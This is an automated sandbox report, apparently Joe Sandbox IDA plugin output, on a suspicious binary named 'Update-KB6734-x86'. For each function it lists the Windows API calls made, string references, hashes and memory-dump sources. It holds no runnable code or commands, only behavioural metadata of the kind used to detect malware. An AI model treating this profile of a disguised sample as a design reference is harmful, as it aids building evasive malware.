API String ID: 2635119114-282957996
Opcode ID: 83b71c62593a6c7f50a24d9b3a3e41f1e15f2dc1c3e7cee7e4fb331bcff6ab21
Instruction ID: 86349d13d9d697d1a2059cccb8833edb385c7957e5e4b5f87f3c94e81b02547f
Opcode Fuzzy Hash: 83b71c62593a6c7f50a24d9b3a3e41f1e15f2dc1c3e7cee7e4fb331bcff6ab21
Instruction Fuzzy Hash: 1B2180707042619AD724AF37BE09A667FB5EB467103A1113BF644C32A0DBB8840ACF6C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B010, Relevance: 21.2, APIs: 2, Strings: 12, Instructions: 210stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,-00000023,?,00000023), ref: 0041B170
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041B284

Part of subcall function 0041AD70: lstrlenA.KERNEL32 ref: 0041ADCA

Strings

b, xrefs: 0041B052
r, xrefs: 0041B1F3
Y, xrefs: 0041B1D0
*, xrefs: 0041B0C2
0, xrefs: 0041B1C6
n, xrefs: 0041B057
[, xrefs: 0041B049
(, xrefs: 0041B0A0
p, xrefs: 0041B1FD
I, xrefs: 0041B1F8
F, xrefs: 0041B0CC
x, xrefs: 0041B07A

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: lstrlen
String ID: ($*$0$F$I$Y$[$b$n$p$r$x
API String ID: 1659193697-2061847989
Opcode ID: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction ID: 2df139c3096c9c4d925bdfeecfd17c6d27e21bb7b6dfed262cfb59e6470ea8b3
Opcode Fuzzy Hash: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction Fuzzy Hash: 76A13A2110C7C28AC322DA3C589859FBFD55EA7228F480B9EF0E5472E2C7558549C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00401260, Relevance: 21.1, APIs: 14, Instructions: 132threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00401000: ExpandEnvironmentStringsA.KERNEL32(00000034,?,00000104), ref: 004010E1
Part of subcall function 00401000: CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004010FB

CreateThread.KERNEL32 ref: 00401292
CreateThread.KERNEL32 ref: 004012AC
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004012BA
CreateThread.KERNEL32 ref: 004012E0
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 004012FF
CreateThread.KERNEL32 ref: 00401324
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 0040133F
CloseHandle.KERNEL32(?), ref: 00401348
SetEvent.KERNEL32(?), ref: 0040135A
WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,00000000,00000001), ref: 00401388
CloseHandle.KERNEL32(00000001), ref: 0040138F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004013A0
CloseHandle.KERNEL32(?), ref: 004013AB
SetEvent.KERNEL32 ref: 004013B0

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Create$ThreadWait$CloseEventHandle$MultipleObjectObjectsSingle$EnvironmentExpandFileStrings
String ID:
API String ID: 94205885-0
Opcode ID: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction ID: 109f3496b703d5c848b0bbf75510f44b12918ce008f531d148e58f88355e5c24
Opcode Fuzzy Hash: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction Fuzzy Hash: 8E414F71244301AFE320DB65CC86F7BB3E8ABC8B14F504A2DF695A72D0DA74E8458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0042ADD1, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,0042E5E8,?,?), ref: 0042ADE9
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0042AE05
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0042AE16
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0042AE23
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0042AE39
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0042AE4A

Strings

GetActiveWindow, xrefs: 0042AE10
MessageBoxA, xrefs: 0042ADFF
user32.dll, xrefs: 0042ADE4
GetLastActivePopup, xrefs: 0042AE18
GetUserObjectInformationA, xrefs: 0042AE33
GetProcessWindowStation, xrefs: 0042AE44

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction ID: 70b5fa524dff6b7417458b24b0bac14766b51569b5ba9c55d5771b2b321c63c1
Opcode Fuzzy Hash: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction Fuzzy Hash: 6B21A730740326ABDB119F75BE84B6B3BE8AB04740B51143BED01D6190D7BCC81ADB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406260, Relevance: 19.6, APIs: 13, Instructions: 99fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,747C81D0,00406532,?, :\,?,?,?), ref: 00406275
CreateFileMappingA.KERNEL32 ref: 00406292
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040629F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CreateFile$CloseHandleMapping
String ID:
API String ID: 2353530451-0
Opcode ID: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction ID: b1713de03d30712edf461a6f0e0af24326c7c5dfdbc2b318762e316791e25a2b
Opcode Fuzzy Hash: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction Fuzzy Hash: 7A21F4313892246AF230673ABC49FDB3B988B86730F511036F750E22E1DAB46806966D

Uniqueness

Uniqueness Score: -1.00%

Function 0042A027, Relevance: 16.8, APIs: 11, Instructions: 299COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0042EB1C,00000001,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A04E
GetLastError.KERNEL32 ref: 0042A060
MultiByteToWideChar.KERNEL32(?,00000000,0042B335,?,00000000,00000000,0042EB20,00000038,0042B0F7,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 0042A0E7
MultiByteToWideChar.KERNEL32(?,00000001,0042B335,?,?,00000000), ref: 0042A168
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0042A182
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 0042A1BD

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 10a0bccdb0679c3e55893d40974a1b462b59fb3c3159313397f1de5072d15da0
Instruction ID: 3988559e70c465a35b60d6fc3080959d3b10041c74b9751cd7113821b118c49c
Opcode Fuzzy Hash: 10a0bccdb0679c3e55893d40974a1b462b59fb3c3159313397f1de5072d15da0
Instruction Fuzzy Hash: 5FB18472A00129EFCF219FA1EC849EE7B75FF08354F54412AFD11A2260D7398D61DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF40, Relevance: 16.6, APIs: 11, Instructions: 123memoryfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,747DF560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
CloseHandle.KERNEL32(00000000), ref: 0041DF95
GetProcessHeap.KERNEL32(00000008,00000000,00000000), ref: 0041DFAB
HeapAlloc.KERNEL32(00000000), ref: 0041DFAE
CloseHandle.KERNEL32(00000000), ref: 0041DFBB
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041DFE0
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E013
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 0041E024
GetProcessHeap.KERNEL32(00000000,00000000,?,?,00000000), ref: 0041E02F
HeapFree.KERNEL32(00000000,?,?,00000000), ref: 0041E032

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseHandleHeap$File$Process$AllocCreateFreeReadSize
String ID:
API String ID: 851827180-0
Opcode ID: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction ID: e2e57060ce1e7308e866bc93ed0c156a6316686fabef653f62ff15feab7bbeed
Opcode Fuzzy Hash: 60d014867e17b0a3a17904d24a01199ccef4cdd3278f6ba1154e53a9580f930a
Instruction Fuzzy Hash: 124191753052109FD7208F69EC85BB67BE8EB8A721F10143AF581C72A1D7B594478B2D

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC50, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 0041AD0A

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

5, xrefs: 0041ACA7
e, xrefs: 0041ACCA
n, xrefs: 0041ACAC
`, xrefs: 0041ACC0
&, xrefs: 0041ACB1
(, xrefs: 0041AC7A
/, xrefs: 0041ACBB
c, xrefs: 0041ACB6
@, xrefs: 0041ACC5
#, xrefs: 0041AC9D

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: #$&$($/$5$@$`$c$e$n
API String ID: 1203007601-276966957
Opcode ID: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction ID: 40db77f959c89022b5c68d7f606fb1fae4f3f0c1390896a0b38eb06e05df56be
Opcode Fuzzy Hash: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction Fuzzy Hash: 0A31A17210C3C18AD311DA28D80479BBBD59BD6318F044A6EF5D48B2D2D7B99658C3EB

Uniqueness

Uniqueness Score: -1.00%

Function 00415690, Relevance: 13.7, APIs: 9, Instructions: 162fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000004,00000080,00000000,?), ref: 004156BD
CreateFileMappingA.KERNEL32 ref: 004156DE
CloseHandle.KERNEL32(00000000), ref: 004156EF
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,747C81D0), ref: 00415717
CloseHandle.KERNEL32(00000000), ref: 0041573C
CloseHandle.KERNEL32(00000000), ref: 00415763

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseFileHandle$Create$MappingView
String ID:
API String ID: 3943831188-0
Opcode ID: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction ID: eb472704c8537460521009dc0dce809b9dfd64f6dddd53decf9b69cebded8fb2
Opcode Fuzzy Hash: 787c517364cca91a25c3f6c6ae074f02f0c4f93847fde26aceba2bb5773ca060
Instruction Fuzzy Hash: 97513D352043909BD321EB3AEC927DBBBD5ABCA310F54543AE9C4973B2C6B69405CB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00414F49, Relevance: 13.6, APIs: 9, Instructions: 73memorysynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000001), ref: 00414F58
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00414F96
CloseHandle.KERNEL32(?), ref: 00414FA6
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00414FB7
CloseHandle.KERNEL32(00000000), ref: 00414FBA
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FD2
HeapFree.KERNEL32(00000000), ref: 00414FDB
GetProcessHeap.KERNEL32(00000000,?), ref: 00414FE4
HeapFree.KERNEL32(00000000), ref: 00414FE7

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Heap$CloseHandle$FreeObjectProcessSingleWait
String ID:
API String ID: 2579758194-0
Opcode ID: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction ID: 966a43781993c991ec9a06a83fdc448c25b6a2ab2b61fe85e3c188c58705bdba
Opcode Fuzzy Hash: 5cb114ee75c73d9d28095b093425758b0f491e95b005c264dc94f0b4429a9c47
Instruction Fuzzy Hash: EB21A2351083809BC225EB69DC41BABBBE8AFD9714F44161EE5A8433D1CB746805CB2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0F0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 169fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,00000000), ref: 0040B13C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
CloseHandle.KERNEL32(00000000), ref: 0040B2DF

Strings

, xrefs: 0040B18D

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID:
API String ID: 3856724686-3916222277
Opcode ID: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction ID: f9615a2b2c25ec5e1afef60f4e7c90419b410b37da83d95b541e47871ec683b4
Opcode Fuzzy Hash: 5bc78143f89a4dea2e96d905125e01f41ef2d97ae2f535c0578264ef0fb96339
Instruction Fuzzy Hash: 1651B271E00218EBDB24DBA5DD85BAEB7B8FF44710F10052EE502B72D1D778A941CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00412897, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 79stringprocessCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(0000004F,?,00000208), ref: 00412920
lstrcatA.KERNEL32(?,0042E3F8), ref: 00412939
lstrcatA.KERNEL32(?,?), ref: 0041294B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 00412989
CloseHandle.KERNEL32(?), ref: 00412994
CloseHandle.KERNEL32(?), ref: 0041299B

Strings

D, xrefs: 0041297A

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CloseHandlelstrcat$CreateEnvironmentExpandProcessStrings
String ID: D
API String ID: 249013821-2746444292
Opcode ID: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction ID: 1d206c3ebca1a40486939c7928fd3c0a5193cdd2c06ff6f9138d119af16f5955
Opcode Fuzzy Hash: d510ec59f7870d519bf324aab472407a7ecdcd160f1fdcfa20edfd7c1420eeda
Instruction Fuzzy Hash: 74315E7610C3845BD321AB29A494BEBFBE9AFD6218F288DBDD5C4C3243D6718409CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0042C8F5, Relevance: 12.2, APIs: 8, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,?,0042F660,00000038,0042B6ED,?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020), ref: 0042C933
GetCPInfo.KERNEL32(00000000,00000001), ref: 0042C946
_strlen.LIBCMT ref: 0042C96A
MultiByteToWideChar.KERNEL32(00000000,00000001,0042B335,?,00000000,00000000), ref: 0042C98B

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID:
API String ID: 1335377746-0
Opcode ID: 4e3de1aefe57413c2874f2fd8f5f666dd6a6cbd88137e42332d4becfb4d3da40
Instruction ID: 1cbf8f742c718ae3e0944b330c4ad140625f126a7c77b4e5641174acd2f5a51b
Opcode Fuzzy Hash: 4e3de1aefe57413c2874f2fd8f5f666dd6a6cbd88137e42332d4becfb4d3da40
Instruction Fuzzy Hash: 36517F70A01229ABCB20DF96ED85AAF7BB9EF44750FA4011BF415A2250D7354941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0042AA29, Relevance: 12.1, APIs: 8, Instructions: 131COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(74784DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA45
GetLastError.KERNEL32(?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA59
GetEnvironmentStringsW.KERNEL32(74784DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA7B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,74784DE0,00000000,?,?,?,?,00425EA6), ref: 0042AAAF
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAD1
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAEA
GetEnvironmentStrings.KERNEL32(74784DE0,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AB00
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0042AB3C

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction ID: 46c70b45b6b314e6cb2813fa54a0f67757c5fcac65bc45981b8617f7325219ec
Opcode Fuzzy Hash: 40f71a07fb731069f870aded68a57151302da6b8d9c26e8109ee9f5d2242545d
Instruction Fuzzy Hash: B231E6727042356FDB206F797E8483BBA9DEF55354795083BFE41C3200E5699CA1C2AB

Uniqueness

Uniqueness Score: -1.00%

Function 0042AB4B, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0042ABA8
GetFileType.KERNEL32(?), ref: 0042AC52
GetStdHandle.KERNEL32(-000000F6), ref: 0042ACD3

Strings

d'C, xrefs: 0042ABE5

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID: d'C
API String ID: 2461013171-2240747681
Opcode ID: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction ID: b91d51b33192239ebbe76f0b008aa2615b8e70416bf349f0ebea2a7c65bc7c7e
Opcode Fuzzy Hash: 9c9765b1c5c0627e8e973e8c1add589c80f9ae6c84f51899f8b01996c9bb0cbd
Instruction Fuzzy Hash: 2851F3713047218FD720CF29E9847227BE4FB11325FA4466ED9A6CB2E2D778D425C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00407650, Relevance: 10.6, APIs: 7, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000,?,?,?,0040B501,00000000,00000000,00000000), ref: 0040769F

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction ID: 9a062db39f6a5f139ad70d347d9c9746101c966207b1449d83cde9679a236ffa
Opcode Fuzzy Hash: c463d438678264e65f411a84fba0301f23ed1ad1e798f240ad9d3939515fa36f
Instruction Fuzzy Hash: 18315CB2608300AFD350DF29DC81F9AB7E8BB88714F50493AF245D6290D7B4E945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B56A, Relevance: 9.1, APIs: 6, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0042EB1C,00000001,?,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B58E
GetLastError.KERNEL32 ref: 0042B5A0
MultiByteToWideChar.KERNEL32(?,00000000,00000000,0042B335,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020,00000100,?,00000000), ref: 0042B602
MultiByteToWideChar.KERNEL32(?,00000001,00000000,0042B335,?,00000000), ref: 0042B680
GetStringTypeW.KERNEL32(00000000,?,00000000,?,?,00000000), ref: 0042B692

Memory Dump Source

Source File: 00000001.00000002.385329989.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.385297788.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385353587.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.385358893.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.385362934.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Update-KB6734-x86.jbxd

Similarity

API ID: ByteCharMultiStringTypeWide$ErrorLast
String ID:
API String ID: 3581945363-0
Opcode ID: f2ccb524abb317028a062fbef1918622c297564acab94010a313d8fbf185c41e
Instruction ID: f0f8bd57be9de59517cc605bd017ac116da641922c0873b55133153ad94c77ef
Opcode Fuzzy Hash: f2ccb524abb317028a062fbef1918622c297564acab94010a313d8fbf185c41e
Instruction Fuzzy Hash: 8041C231A00235EBCB219F61FC45BAF3B65EF48760F94411AF914A7290C779C951CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE80, Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 31stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 0041AEB7

